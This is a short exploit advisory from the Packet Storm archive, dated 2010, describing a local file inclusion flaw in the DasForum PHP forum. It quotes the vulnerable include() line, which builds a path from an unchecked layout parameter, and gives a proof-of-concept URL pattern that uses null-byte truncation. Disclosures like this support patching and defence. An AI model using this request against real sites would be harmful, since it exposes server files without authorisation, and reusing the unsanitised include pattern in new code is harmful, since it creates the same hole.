DasForum Local File Inclusion

2010-01-15T00:00:00
ID PACKETSTORM:85179
Type packetstorm
Reporter cr4wl3r
Modified 2010-01-15T00:00:00

Description

                                        
                                            ` \#'#/  
(-.-)  
--------------------oOO---(_)---OOo-------------------  
| DasForum (layout) Local File Inclusion Exploit |  
| (works only with magic_quotes_gpc = off) |  
------------------------------------------------------  
[!] Discovered: cr4wl3r <cr4wl3r[!]linuxmail.org>  
[!] Download: http://mirror.vocabbuilder.net/savannah/dasforum/  
[!] Date: 15.01.2010  
[!] Remote: yes  
  
  
[!] Vulnerability Code [bbcode_inputs.php] :  
  
include("layouts/".$layout."/bbcode_inputs.php");  
  
  
[!] PoC:  
  
[DasForum_path]/bbcode_inputs.php?layout=[LFI%00]  
`